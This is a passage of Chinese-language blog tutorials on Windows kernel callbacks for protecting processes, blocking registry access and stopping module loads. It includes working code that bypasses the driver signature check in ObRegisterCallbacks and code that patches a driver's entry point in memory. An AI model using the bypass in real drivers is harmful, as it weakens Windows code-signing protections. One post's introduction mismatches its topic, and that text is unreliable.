    typedef struct _OB_CALLBACK_REGISTRATION { USHORT Version; USHORT OperationRegistrationCount; UNICODE_STRING Altitude; PVOID RegistrationContext; OB_OPERATION_REGISTRATION *OperationRegistration;} OB_CALLBACK_REGISTRATION, *POB_CALLBACK_REGISTRATION;
    成员

    Version请求的对象回调注册版本。 驱动程序应指定OB_FLT_REGISTRATION_VERSION。OperationRegistrationCountOperationRegistration数组中的条目数。Altitude指定驱动程序Altitude的Unicode字符串。一定要存在,不能置为空 NULL,可以任意指定。RegistrationContext当回调例程运行时,系统将RegistrationContext值传递给回调例程。 该值的含义是由驱动程序自定义的。OperationRegistration指向OB_OPERATION_REGISTRATION结构数组的指针。 每个结构指定ObjectPreCallback和ObjectPostCallback回调例程以及调用例程的操作类型。

    OB_OPERATION_REGISTRATION 结构体
    typedef struct _OB_OPERATION_REGISTRATION { POBJECT_TYPE *ObjectType; OB_OPERATION Operations; POB_PRE_OPERATION_CALLBACK PreOperation; POB_POST_OPERATION_CALLBACK PostOperation;} OB_OPERATION_REGISTRATION, *POB_OPERATION_REGISTRATION;
    成员

    ObjectType指向触发回调例程的对象类型的指针。 指定以下值之一:用于进程句柄操作的PsProcessType线程句柄操作的PsThreadType用于桌面句柄操作的ExDesktopObjectType。 此值在Windows 10中受支持,而不在早期版本的操作系统中。Operations指定以下一个或多个标志:OB_OPERATION_HANDLE_CREATE一个新的进程,线程或桌面句柄已被打开或将被打开。OB_OPERATION_HANDLE_DUPLICATE进程,线程或桌面句柄已被或将被复制。PreOperation指向ObjectPreCallback例程的指针。 在请求的操作发生之前,系统调用此例程。PostOperation指向ObjectPostCallback例程的指针。 在请求的操作发生后,系统调用此例程。

    IoThreadToProcess 函数
    返回指向指定线程的进程的指针。
    函数声明
    PEPROCESS IoThreadToProcess( _In_ PETHREAD Thread);
    参数

    Thread[in]要返回进程的指定线程对象。
    返回值

    返回线程对象对应的进程对象的指针。

    PsGetProcessId 函数
    返回与指定进程关联的进程标识符(进程ID)。
    函数声明
    HANDLE PsGetProcessId( _In_ PEPROCESS Process);
    参数

    Process[in]
    指向进程对象结构的指针。

    返回值

    返回进程ID。

    实现原理破解 ObRegisterCallbacks 函数的使用限制第一种方法在讲解怎么使用 ObRegisterCallbacks 函数来注册系统线程、进程回调的之前,先来讲解下 Windows 对这个函数做的限制:驱动程序必须有数字签名才能使用此函数。不过国外的黑客对此限制很不满,通过逆向 ObRegisterCallbacks,找到了破解这个限制的方法。经研究,内核通过 MmVerifyCallbackFunction 验证此回调是否合法, 但此函数只是简单的验证了一下 DriverObject->DriverSection->Flags 的值是不是为 0x20:
    nt!MmVerifyCallbackFunction+0x75: fffff800`01a66865 f6406820 test byte ptr [rax+68h],20h fffff800`01a66869 0f45fd cmovne edi,ebp
    所以破解方法非常简单,只要把 DriverObject->DriverSection->Flags 的值按位或 0x20 即可。其中,DriverSection 是指向 LDR_DATA_TABLE_ENTRY 结构的值,要注意该结构在 32 位和 64 位系统下的定义。
    // 注意32位与64位的对齐大小#ifndef _WIN64 #pragma pack(1) #endiftypedef struct _LDR_DATA_TABLE_ENTRY{ LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { ULONG TimeDateStamp; PVOID LoadedImports; }; PVOID EntryPointActivationContext; PVOID PatchInformation; LIST_ENTRY ForwarderLinks; LIST_ENTRY ServiceTagLinks; LIST_ENTRY StaticLinks;} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;#ifndef _WIN64 #pragma pack()#endif
    第二种方法使用此函数, 一定要设置 IMAGE_OPTIONAL_HEADER 中的 DllCharacterisitics 字段设置为:IMAGE_DLLCHARACTERISITICS_FORCE_INTEGRITY 属性,该属性是一个驱动强制签名属性。使用 VS2013 开发环境设置方式是:

    右击项目,选择属性;选中配置属性中的链接器,点击命令行;在其它选项中输入: /INTEGRITYCHECK 表示设置; /INTEGRITYCHECK:NO 表示不设置。
    这样,设置之后,驱动程序必须要进行驱动签名才可正常运行!
    调用 ObRegisterCallbacks 注册线程回调以及进程回调我们从上面的函数介绍中,可以知道大概的实现流程:

    首先,在调用 ObRegisterCallbacks 函数注册系统回调之前,我们要先对结构体 OB_CALLBACK_REGISTRATION 进行初始化。设置回调的版本 Version;设置回调的 Altitude,任意指定;设置回调函数的数量 OperationRegistrationCount;设置回调函数 OperationRegistration。其中,OperationRegistration 是一个 OB_OPERATION_REGISTRATION 结构体数组,里面存储着回调对象的类型、操作类型以及回调函数,它的数量要和 OperationRegistrationCount 对应。然后,再调用 ObRegisterCallbacks 进行注册,并保留系统回调对象句柄。最后,在不使用回调的时候,调用 ObUnRegisterCallbacks 函数传入系统回调对象句柄,删除回调。
    其中,线程回调和进程回调的注册,只有 OB_OPERATION_REGISTRATION 结构体的成员 ObjectType 不同。对于线程,ObjectType 为 PsThreadType;对于进程,ObjectType 为 PsProcessType。其它的操作及其含义,均相同。
    线程、进程回调函数中实现线程、进程保护由于在注册系统回调的时候,我们设置监控线程以及进程的操作类型为:OB_OPERATION_HANDLE_CREATE 和 OB_OPERATION_HANDLE_DUPLICATE。要想实现,拒绝结束线程或者进程的操作,我们只需从操作类型句柄信息中去掉相应的结束线程或者进程的权限即可:
    // OB_OPERATION_HANDLE_CREATE 操作类型pObPreOperationInfo->Parameters->CreateHandleInformation.DesiredAccess = 0;
    // OB_OPERATION_HANDLE_DUPLICATE 操作类型pObPreOperationInfo->Parameters->DuplicateHandleInformation.DesiredAccess = 0;
    那么,我们怎么从线程对象或者进程对象 pObPreOperationInfo->Object 中判断是否是保护线程或者进程呢。对于进程,我们可以调用 PsGetProcessImageFileName 函数,从进程结构对象获取进程名称进行判断。对于线程,我们可以通过 IoThreadToProcess 函数,根据线程结构对象获取相应的进程结构对象,再根据 PsGetProcessImageFileName 函数,从进程结构对象获取进程名称进行判断。
    编码实现破解 ObRegisterCallbacks 的使用限制// 编程方式绕过签名检查BOOLEAN BypassCheckSign(PDRIVER_OBJECT pDriverObject){#ifdef _WIN64 typedef struct _KLDR_DATA_TABLE_ENTRY { LIST_ENTRY listEntry; ULONG64 __Undefined1; ULONG64 __Undefined2; ULONG64 __Undefined3; ULONG64 NonPagedDebugInfo; ULONG64 DllBase; ULONG64 EntryPoint; ULONG SizeOfImage; UNICODE_STRING path; UNICODE_STRING name; ULONG Flags; USHORT LoadCount; USHORT __Undefined5; ULONG64 __Undefined6; ULONG CheckSum; ULONG __padding1; ULONG TimeDateStamp; ULONG __padding2; } KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;#else typedef struct _KLDR_DATA_TABLE_ENTRY { LIST_ENTRY listEntry; ULONG unknown1; ULONG unknown2; ULONG unknown3; ULONG unknown4; ULONG unknown5; ULONG unknown6; ULONG unknown7; UNICODE_STRING path; UNICODE_STRING name; ULONG Flags; } KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;#endif PKLDR_DATA_TABLE_ENTRY pLdrData = (PKLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection; pLdrData->Flags = pLdrData->Flags | 0x20; return TRUE;}
    注册线程回调// 设置线程回调函数NTSTATUS SetThreadCallbacks(){ NTSTATUS status = STATUS_SUCCESS; OB_CALLBACK_REGISTRATION obCallbackReg = { 0 }; OB_OPERATION_REGISTRATION obOperationReg = { 0 }; RtlZeroMemory(&obCallbackReg, sizeof(OB_CALLBACK_REGISTRATION)); RtlZeroMemory(&obOperationReg, sizeof(OB_OPERATION_REGISTRATION)); // 设置 OB_CALLBACK_REGISTRATION obCallbackReg.Version = ObGetFilterVersion(); obCallbackReg.OperationRegistrationCount = 1; obCallbackReg.RegistrationContext = NULL; RtlInitUnicodeString(&obCallbackReg.Altitude, L"321001"); obCallbackReg.OperationRegistration = &obOperationReg; // 设置 OB_OPERATION_REGISTRATION // Thread 和 Process 的区别所在 obOperationReg.ObjectType = PsThreadType; obOperationReg.Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE; // Thread 和 Process 的区别所在 obOperationReg.PreOperation = (POB_PRE_OPERATION_CALLBACK)(&ThreadPreCall); // 注册回调函数 status = ObRegisterCallbacks(&obCallbackReg, &g_obThreadHandle); if (!NT_SUCCESS(status)) { DbgPrint("ObRegisterCallbacks Error[0x%X]\n", status); return status; } return status;}
    注册进程回调// 设置进程回调函数NTSTATUS SetProcessCallbacks(){ NTSTATUS status = STATUS_SUCCESS; OB_CALLBACK_REGISTRATION obCallbackReg = { 0 }; OB_OPERATION_REGISTRATION obOperationReg = { 0 }; RtlZeroMemory(&obCallbackReg, sizeof(OB_CALLBACK_REGISTRATION)); RtlZeroMemory(&obOperationReg, sizeof(OB_OPERATION_REGISTRATION)); // 设置 OB_CALLBACK_REGISTRATION obCallbackReg.Version = ObGetFilterVersion(); obCallbackReg.OperationRegistrationCount = 1; obCallbackReg.RegistrationContext = NULL; RtlInitUnicodeString(&obCallbackReg.Altitude, L"321000"); obCallbackReg.OperationRegistration = &obOperationReg; // 设置 OB_OPERATION_REGISTRATION // Thread 和 Process 的区别所在 obOperationReg.ObjectType = PsProcessType; obOperationReg.Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE; // Thread 和 Process 的区别所在 obOperationReg.PreOperation = (POB_PRE_OPERATION_CALLBACK)(&ProcessPreCall); // 注册回调函数 status = ObRegisterCallbacks(&obCallbackReg, &g_obProcessHandle); if (!NT_SUCCESS(status)) { DbgPrint("ObRegisterCallbacks Error[0x%X]\n", status); return status; } return status;}
    线程回调函数// 线程回调函数OB_PREOP_CALLBACK_STATUS ThreadPreCall(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION pObPreOperationInfo){ PEPROCESS pEProcess = NULL; // 判断对象类型 if (*PsThreadType != pObPreOperationInfo->ObjectType) { return OB_PREOP_SUCCESS; } // 获取线程对应的进程 PEPROCESS pEProcess = IoThreadToProcess((PETHREAD)pObPreOperationInfo->Object); // 判断是否市保护PID, 若是, 则拒绝结束线程 if (IsProtectProcess(pEProcess)) { // 操作类型: 创建句柄 if (OB_OPERATION_HANDLE_CREATE == pObPreOperationInfo->Operation) { if (1 == (1 & pObPreOperationInfo->Parameters->CreateHandleInformation.OriginalDesiredAccess)) { pObPreOperationInfo->Parameters->CreateHandleInformation.DesiredAccess = 0; } } // 操作类型: 复制句柄 else if (OB_OPERATION_HANDLE_DUPLICATE == pObPreOperationInfo->Operation) { if (1 == (1 & pObPreOperationInfo->Parameters->DuplicateHandleInformation.OriginalDesiredAccess)) { pObPreOperationInfo->Parameters->DuplicateHandleInformation.DesiredAccess = 0; } } } return OB_PREOP_SUCCESS;}
    进程回调函数// 进程回调函数OB_PREOP_CALLBACK_STATUS ProcessPreCall(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION pObPreOperationInfo){ PEPROCESS pEProcess = NULL; // 判断对象类型 if (*PsProcessType != pObPreOperationInfo->ObjectType) { return OB_PREOP_SUCCESS; } // 获取进程结构对象 pEProcess = (PEPROCESS)pObPreOperationInfo->Object; // 判断是否市保护PID, 若是, 则拒绝结束进程 if (IsProtectProcess(pEProcess)) { // 操作类型: 创建句柄 if (OB_OPERATION_HANDLE_CREATE == pObPreOperationInfo->Operation) { if (1 == (1 & pObPreOperationInfo->Parameters->CreateHandleInformation.OriginalDesiredAccess)) { pObPreOperationInfo->Parameters->CreateHandleInformation.DesiredAccess = 0; } } // 操作类型: 复制句柄 else if (OB_OPERATION_HANDLE_DUPLICATE == pObPreOperationInfo->Operation) { if (1 == (1 & pObPreOperationInfo->Parameters->DuplicateHandleInformation.OriginalDesiredAccess)) { pObPreOperationInfo->Parameters->DuplicateHandleInformation.DesiredAccess = 0; } } } return OB_PREOP_SUCCESS;}
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win10 64 位系统下,驱动程序正常执行:

    总结其中要注意两个问题:
    一是,破解 ObRegisterCallbacks 函数的使用限制有两种方式,一种是通过编程来解决;一种是通过 VS 开发环境和数字签名来解决。在使用编程方式解决限制的时候,一定要注意 32 位与 64 位下,LDR_DATA_TABLE_ENTRY 结构体的对齐差别。
    二是,OB_CALLBACK_REGISTRATION 中的 Altitude 成员一定要存在,不能置为空 NULL,可以任意指定。
    参考参考自《Windows黑客编程技术详解》一书
    3  留言 2019-02-19 13:04:00
  • 基于CmRegisterCallback实现监控监控注册表并拒绝注册表操作

    背景对于内核层实现监控进程的创建或者退出,你可能第一时间会想到 HOOK 内核函数 ZwOpenProcess、ZwTerminateProcess 等。确定,在内核层中的 HOOK 已经给人留下太多深刻的印象了,有 SSDT HOOK、Inline HOOK、IRP HOOK、过滤驱动等等。
    但是,Windows 其实给我们提供现成的内核函数接口,方便我们在内核下监控用户层上进程的创建和退出的情况。即 PsSetCreateProcessNotifyRoutineEx 内核函数,可以设置一个回调函数,来监控进程的创建和退出,同时还能控制是否允许创建进程。
    现在,本文就使用 PsSetCreateProcessNotifyRoutineEx 实现监控进程的创建的实现过程和原理进行整理,形成文档,分享给大家。
    函数介绍CmRegisterCallback 函数
    CmRegisterCallback例程对于Windows Vista和更高版本的操作系统而言已经过时了。 改用CmRegisterCallbackEx。CmRegisterCallback例程注册一个RegistryCallback例程。
    函数声明
    NTSTATUS CmRegisterCallback( _In_ PEX_CALLBACK_FUNCTION Function, _In_opt_ PVOID Context, _Out_ PLARGE_INTEGER Cookie);
    参数
    Function[in]指向RegistryCallback例程的指针。
    Context[in]配置管理器将作为CallbackContext参数传递给RegistryCallback例程的驱动程序定义的值。
    Cookie [out]指向LARGE_INTEGER变量的指针,该变量接收标识回调例程的值。 当您注销回调例程时,将此值作为Cookie参数传递给CmUnRegisterCallback。
    返回值

    成功,则返回 STATUS_SUCCESS;否则,返回其它失败错误码 NTSTATUS。

    PEX_CALLBACK_FUNCTION 回调函数
    函数声明
    EX_CALLBACK_FUNCTION RegistryCallback;NTSTATUS RegistryCallback( _In_ PVOID CallbackContext, _In_opt_ PVOID Argument1, _In_opt_ PVOID Argument2){ ... }
    参数

    CallbackContext [in]当注册该RegistryCallback例程时,驱动程序作为Context参数传递给CmRegisterCallback或CmRegisterCallbackEx的值。Argument1 [in]一个REG_NOTIFY_CLASS类型的值,用于标识正在执行的注册表操作的类型,以及是否在执行注册表操作之前或之后调用RegistryCallback例程。Argument2 [in]指向包含特定于注册表操作类型的信息的结构的指针。 结构类型取决于Argument1的REG_NOTIFY_CLASS类型值,如下表所示。 有关哪些REG_NOTIFY_CLASS类型的值可用于哪些操作系统版本的信息,请参阅REG_NOTIFY_CLASS。
    返回值

    成功,则返回 STATUS_SUCCESS;否则,返回其它失败错误码 NTSTATUS。

    实现原理我们根据上面的函数介绍,大概知道实现的流程了吧。对于设置回调函数,直接调用 CmRegisterCallback 函数来设置就好。传入设置的回调函数名称以及获取回调函数的Cookie。这样,就可以成功设置注册表监控的回调函数了。
    那么,我们的回调函数也并不复杂,它的函数声明为:
    NTSTATUS RegistryCallback( _In_ PVOID CallbackContext, _In_opt_ PVOID Argument1, _In_opt_ PVOID Argument2);
    回调函数的名称可以任意,但是返回值类型以及函数参数类型必须是固定的,不能变更。回调函数的第一个参数 ParentId 表示从 CmRegisterCallback 传入的参数值;第二个参数 Argument1表示在执行的注册表操作的类型;第三个参数 Argument2 表示指向 Argument1 操作类型对应的存储数据的结构体指针,不同的操作类型,对应存储数据的结构体也不相同。
    当我们需要拒绝对注册表指定键的指定操作时,直接修改回调函数的返回值,返回除 STATUS_SUCCESS 之外的错误码,如 STATUS_ACCESS_DENIED。那么,系统就会拒绝操作相应注册表。这需要我们先根据回调函数的第一个参数 Argument1 判断注册表的操作类型,然后,根据 Argument2 参数获取操作类型对应的结构体数据,从结构体数据中,可以获取注册表路径对象,并调用 ObQueryNameString 函数根据路径对象获取字符串表示的路径。以此判断是否要拒绝操作的注册表路径,若是,则返回 STATUS_ACCESS_DENIED 拒绝操作。
    当我们要删除回调设置的时候,只需要调用 CmUnRegisterCallback 函数,传入从 CmRegisterCallback 函数中获取的 Cookie。这样,就可以成功删除设置的回调函数了。
    编码实现设置回调// 设置回调函数NTSTATUS SetRegisterCallback(){ NTSTATUS status = CmRegisterCallback(RegisterMonCallback, NULL, &g_liRegCookie); if (!NT_SUCCESS(status)) { ShowError("CmRegisterCallback", status); g_liRegCookie.QuadPart = 0; return status; } return status;}
    回调函数// 回调函数NTSTATUS RegisterMonCallback( _In_ PVOID CallbackContext, // 操作类型(只是操作编号,不是指针) _In_opt_ PVOID Argument1, // 操作详细信息的结构体指针 _In_opt_ PVOID Argument2 ){ NTSTATUS status = STATUS_SUCCESS; UNICODE_STRING ustrRegPath; // 获取操作类型 LONG lOperateType = (REG_NOTIFY_CLASS)Argument1; // 申请内存 ustrRegPath.Length = 0; ustrRegPath.MaximumLength = 1024 * sizeof(WCHAR); ustrRegPath.Buffer = ExAllocatePool(NonPagedPool, ustrRegPath.MaximumLength); if (NULL == ustrRegPath.Buffer) { ShowError("ExAllocatePool", 0); return status; } // 判断操作 switch (lOperateType) { // 创建注册表之前 case RegNtPreCreateKey: { // 获取注册表路径 GetRegisterObjectCompletePath(&ustrRegPath, ((PREG_CREATE_KEY_INFORMATION)Argument2)->RootObject); // 判断是否是被保护的注册表 if (IsProtectReg(ustrRegPath)) { // 拒绝操作 status = STATUS_ACCESS_DENIED; } // 显示 DbgPrint("[RegNtPreCreateKey][%wZ][%wZ]\n", &ustrRegPath, ((PREG_CREATE_KEY_INFORMATION)Argument2)->CompleteName); break; } // 打开注册表之前 case RegNtPreOpenKey: { // 获取注册表路径 GetRegisterObjectCompletePath(&ustrRegPath, ((PREG_CREATE_KEY_INFORMATION)Argument2)->RootObject); // 判断是否是被保护的注册表 if (IsProtectReg(ustrRegPath)) { // 拒绝操作 status = STATUS_ACCESS_DENIED; } // 显示 DbgPrint("[RegNtPreOpenKey][%wZ][%wZ]\n", &ustrRegPath, ((PREG_CREATE_KEY_INFORMATION)Argument2)->CompleteName); break; } // 删除键之前 case RegNtPreDeleteKey: { // 获取注册表路径 GetRegisterObjectCompletePath(&ustrRegPath, ((PREG_DELETE_KEY_INFORMATION)Argument2)->Object); // 判断是否是被保护的注册表 if (IsProtectReg(ustrRegPath)) { // 拒绝操作 status = STATUS_ACCESS_DENIED; } // 显示 DbgPrint("[RegNtPreDeleteKey][%wZ]\n", &ustrRegPath); break; } // 删除键值之前 case RegNtPreDeleteValueKey: { // 获取注册表路径 GetRegisterObjectCompletePath(&ustrRegPath, ((PREG_DELETE_VALUE_KEY_INFORMATION)Argument2)->Object); // 判断是否是被保护的注册表 if (IsProtectReg(ustrRegPath)) { // 拒绝操作 status = STATUS_ACCESS_DENIED; } // 显示 DbgPrint("[RegNtPreDeleteValueKey][%wZ][%wZ]\n", &ustrRegPath, ((PREG_DELETE_VALUE_KEY_INFORMATION)Argument2)->ValueName); break; } // 修改键值之前 case RegNtPreSetValueKey: { // 获取注册表路径 GetRegisterObjectCompletePath(&ustrRegPath, ((PREG_SET_VALUE_KEY_INFORMATION)Argument2)->Object); // 判断是否是被保护的注册表 if (IsProtectReg(ustrRegPath)) { // 拒绝操作 status = STATUS_ACCESS_DENIED; } // 显示 DbgPrint("[RegNtPreSetValueKey][%wZ][%wZ]\n", &ustrRegPath, ((PREG_SET_VALUE_KEY_INFORMATION)Argument2)->ValueName); break; } default: break; } // 释放内存 if (NULL != ustrRegPath.Buffer) { ExFreePool(ustrRegPath.Buffer); ustrRegPath.Buffer = NULL; } return status;}
    删除回调// 删除回调函数VOID RemoveRegisterCallback(){ if (0 < g_liRegCookie.QuadPart) { CmUnRegisterCallback(g_liRegCookie); }}
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win10 64 位系统下,驱动程序正常执行:

    总结这个程序实现起来并不复杂,关键是对 CmRegisterCallback 函数要理解透彻,理解清楚回调函数中。其中,要注意一点就是,在回调函数中,不同的注册表操作类型 Argument1,Argument2指向的对应的结构体类型指针也不相同。
    参考参考自《Windows黑客编程技术详解》一书
    1  留言 2019-02-18 17:14:12
  • 基于PsSetLoadImageNotifyRoutine实现监控模块加载并卸载已加载模块

    背景对于内核层实现监控模块的加载,包括加载DLL模块、内核模块等。你也许会想到 HOOK 各种内核函数来实现。确定,在内核层中的 HOOK 已经给人留下太多深刻的印象了,有 SSDT HOOK、Inline HOOK、IRP HOOK、过滤驱动等等。
    但是,Windows 其实给我们提供现成的内核函数接口,方便我们在内核下监控用户层上模块加载的情况,即 PsSetLoadImageNotifyRoutine 内核函数,可以设置一个回调函数,来监控监控模块加载。
    现在,本文就使用 PsSetLoadImageNotifyRoutine 实现监控模块加载以及卸载加载模块的实现过程和原理进行整理,形成文档,分享给大家。
    函数介绍PsSetLoadImageNotifyRoutine 函数
    设置模块加载回调函数,只要有模块加载完成就会通知回调函数。
    函数声明
    NTSTATUS PsSetLoadImageNotifyRoutine( _In_ PLOAD_IMAGE_NOTIFY_ROUTINE NotifyRoutine);
    参数

    NotifyRoutine [in]指向回调函数 PLOAD_IMAGE_NOTIFY_ROUTINE 的指针。
    返回值

    成功,则返回 STATUS_SUCCESS;否则,返回其它失败错误码 NTSTATUS。
    备注

    可通过调用 PsRemoveLoadImageNotifyRoutine 函数来删除回调。

    PLOAD_IMAGE_NOTIFY_ROUTINE 回调函数
    函数声明
    PLOAD_IMAGE_NOTIFY_ROUTINE SetLoadImageNotifyRoutine;void SetLoadImageNotifyRoutine( _In_opt_ PUNICODE_STRING FullImageName, _In_ HANDLE ProcessId, _In_ PIMAGE_INFO ImageInfo){ ... }
    参数
    FullImageName [in,可选]指向缓冲的Unicode字符串的指针,用于标识可执行映像文件。 (在程序创建时操作系统无法获取图像的全名的情况下,FullImageName参数可以为NULL。)
    ProcessId [in]加载模块所属的进程ID,但如果新加载的映像是驱动程序,则该句柄为 0。
    ImageInfo [in]指向包含图像信息的 IMAGE_INFO 结构的指针。 见备注。
    返回值

    无返回值。

    IMAGE_INFO 结构体
    typedef struct _IMAGE_INFO { union { ULONG Properties; struct { ULONG ImageAddressingMode : 8; ULONG SystemModeImage : 1; ULONG ImageMappedToAllPids : 1; ULONG ExtendedInfoPresent : 1; ULONG MachineTypeMismatch : 1; ULONG ImageSignatureLevel : 4; ULONG ImageSignatureType : 3; ULONG Reserved : 13; }; }; PVOID ImageBase; ULONG ImageSelector; SIZE_T ImageSize; ULONG ImageSectionNumber;} IMAGE_INFO, *PIMAGE_INFO;
    成员

    PropertiesImageAddressingMode始终设置为IMAGE_ADDRESSING_MODE_32BIT。SystemModeImage设置为一个用于新加载的内核模式组件(如驱动程序),或者对于映射到用户空间的映像设置为 0。ImageMappedToAllPids始终设置为0。ExtendedInfoPresent如果设置了ExtendedInfoPresent标志,则IMAGE_INFO结构是图像信息结构的较大扩展版本的一部分(请参阅IMAGE_INFO_EX)。在Windows Vista中添加。有关详细信息,请参阅本备注部分的“扩展版本的图像信息结构”。MachineTypeMismatch始终设置为 0。在Windows 8 / Windows Server 2012中添加。ImageSignatureLevel代码完整性标记为映像的签名级别。该值是ntddk.h中的#define SESIGNING_LEVEL *常量之一。在Windows 8.1 / Windows Server 2012 R2中添加。ImageSignatureType代码完整性标记为映像的签名类型。该值是在ntddk.h中定义的SE_IMAGE_SIGNATURE_TYPE枚举值。在Windows 8.1 / Windows Server 2012 R2中添加。ImagePartialMap如果调用的映像视图是不映射整个映像的部分视图,则该值不为零; 0如果视图映射整个图像。在Windows 10 / Windows Server 2016中添加。Reserved始终设置为 0。ImageBase设置为映像的虚拟基地址。ImageSelector始终设置为 0。ImageSize映像的虚拟大小(以字节为单位)。ImageSectionNumber始终设置为 0。

    实现原理我们根据上面的函数介绍,大概知道实现的流程了吧。对于设置回调函数,直接调用 PsSetLoadImageNotifyRoutine 函数来设置就好。传入设置的回调函数名称,这样,就可以成功设置进程监控的回调函数了。
    那么,我们的回调函数也并不复杂,它的函数声明为:
    void SetLoadImageNotifyRoutine( _In_opt_ PUNICODE_STRING FullImageName, _In_ HANDLE ProcessId, _In_ PIMAGE_INFO ImageInfo);
    回调函数的名称可以任意,但是返回值类型以及函数参数类型必须是固定的,不能变更。回调函数的第一个参数 FullImageName 表示加载模块的路径;第二个参数 ProcessId 表示加载模块所属的进程PID,如果为0,则表示该模块是一个驱动模块;第三个参数 ImageInfo 存储着模块的加载信息,存储在 IMAGE_INFO 结构体中。
    我们可以从 IMAGE_INFO 中模块的加载内存大小、加载基址等加载信息。
    当我们要删除会调设置的时候,只需要调用 PsRemoveLoadImageNotifyRoutine 函数,传入要删除的回调函数名称,这样,就可以成功删除设置的回调函数了。
    要清楚一个问题就是,当我们的回调函数接收到模块加载信息的时候,模块已经加载完成,所以,我们需要通过其他方法来实现卸载已加载的模块。本文只讨论卸载驱动模块以及 DLL 模块。接下来,分别给出二者的实现思路:
    卸载驱动模块对于卸载驱动模块,我们的实现思路就是在驱动模块的入口点 DriverEntry 函数中,直接返回 NTSTATUS 错误码,如 STATUS_ACCESS_DENIED (0xC0000022)。那么,我们就需要先定位处 DriverEntry 的内存地址。
    好在回调函数的第三个参数 ImageInfo 给我们提供了模块在内存中的加载基址,而且,驱动文件 .sys 也是一个可执行文件。所以,我们可以根据 PE 结构,获取 IMAGE_NT_HEADERS 头的 IMAGE_OPTIONAL_HEADRE 的 AddressOfEntryPoint 字段,再加上加载基址,就可以计算出驱动程序 DriverEntry 函数的地址了。
    获得 DriverEntry 函数后,我们直接将入口函数的前几个字节数据修改为 :
    B8 22 00 00 C0 C3
    对应的汇编代码为:
    mov eax, 0xC0000022ret
    由于在 32 位程序和 64 位程序下,NTSTATUS 数据类型都是无符号 4 字节整型数据,所以,机器码都是不变的,在 32 位程序和 64 位程序下都是通用的。
    卸载 DLL 模块由于模块已经加载完成,我们不能通过类似卸载驱动模块那样直接在入口点返回拒绝加载信息,因为 DLL 的入口点函数 DllMain 的返回值并不能决定 DLL 是否成功加载,所以,这样达不到卸载 DLL 的效果。
    要想卸载 DLL ,换个思路想,也就是即使 DLL 加载了,但也不能那个让 DLL 正常工作。如果这个问题换成了让加载的 DLL 不能正常工作,事情一下子就好办了。我们可以直接将 PE 头数据全部值为 0,破坏 PE 头的数据,这样,DLL 在往后就不能正常去获取导出函数等工作,从而间接实现卸载 DLL 的功能。
    所以,我们实现的思路就是将 DLL 加载基址的前 0x200 字节数据全部置为 0,破环 PE 头结构。
    编码实现设置回调// 设置回调函数NTSTATUS SetLoadImageNotify(){ NTSTATUS status = PsSetLoadImageNotifyRoutine((PLOAD_IMAGE_NOTIFY_ROUTINE)LoadImageNotifyRoutine); if (!NT_SUCCESS(status)) { ShowError("PsSetLoadImageNotifyRoutine", status); } return status;}
    删除回调// 删除设置的回调函数NTSTATUS RemoveLoadImageNotify(){ NTSTATUS status = PsRemoveLoadImageNotifyRoutine((PLOAD_IMAGE_NOTIFY_ROUTINE)LoadImageNotifyRoutine); if (!NT_SUCCESS(status)) { ShowError("PsRemoveLoadImageNotifyRoutine", status); } return status;}
    回调函数// 回调函数VOID LoadImageNotifyRoutine( _In_ PUNICODE_STRING FullImageName, // pid into which image is being mapped _In_ HANDLE ProcessId, _In_ PIMAGE_INFO ImageInfo ){ // 显示加载模块信息 DbgPrint("[%d][%wZ][%d][0x%p]\n", ProcessId, FullImageName, ImageInfo->ImageSize, ImageInfo->ImageBase); // 拒绝加载指定模块 if (NULL != wcsstr(FullImageName->Buffer, L"DriverTest.sys") || NULL != wcsstr(FullImageName->Buffer, L"Test.dll")) { // Driver if (0 == ProcessId) { DbgPrint("Deny Load Driver\n"); DenyLoadDriver(ImageInfo->ImageBase); } // Dll else { DbgPrint("Deny Load DLL\n"); DenyLoadDll(ImageInfo->ImageBase); } }}
    拒绝驱动模块的加载// 拒绝加载驱动模块BOOLEAN DenyLoadDriver(PVOID pLoadImageBase){ // 拒绝加载驱动 // 即根据BaseImage,找到IMAGE_NT_HEADERS中的IMAGE_OPTIONAL_HEADRE中的AddressOfEntryPoint, // 写入mov eax, STATUS_ACCESS_DENIED ret,意思是返回 NTSTATUS 码为 STATUS_ACCESS_DENIED 拒绝访问 // 即mov eax, 0xC0000022 ret 机器码是:b8220000C0 C3 // 无论64位驱动还是32位驱动, 都是写入以下ShellCode, 拒绝加载. 因为 NTSTATUS 在32位和64位下都是 4 字节. // 在入口地址处, 写入代码: // mov eax, 0xC0000022 // ret // 机器码为: // B8 22 00 00 C0 C3 // 根据加载基址, 获取入口地址 PIMAGE_DOS_HEADER pDosHeader = pLoadImageBase; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((PCHAR)pDosHeader + pDosHeader->e_lfanew); PVOID pAddressOfEntryPoint = (PVOID)((PCHAR)pDosHeader + pNtHeaders->OptionalHeader.AddressOfEntryPoint); DbgPrint("----------- pAddressOfEntryPoint=0x%p\n", pAddressOfEntryPoint); // 使用 MDL 方式写入SHELLCODE ULONG ulShellCodeSize = 6; UCHAR pShellCode[6] = { 0xB8, 0x22, 0x00, 0x00, 0xC0, 0xC3 }; PMDL pMdl = MmCreateMdl(NULL, pAddressOfEntryPoint, ulShellCodeSize); if (NULL == pMdl) { ShowError("MmCreateMdl", 0); return FALSE; } MmBuildMdlForNonPagedPool(pMdl); PVOID pVoid = MmMapLockedPages(pMdl, KernelMode); if (NULL == pVoid) { IoFreeMdl(pMdl); ShowError("MmMapLockedPages", 0); return FALSE; } // 写入数据 RtlCopyMemory(pVoid, 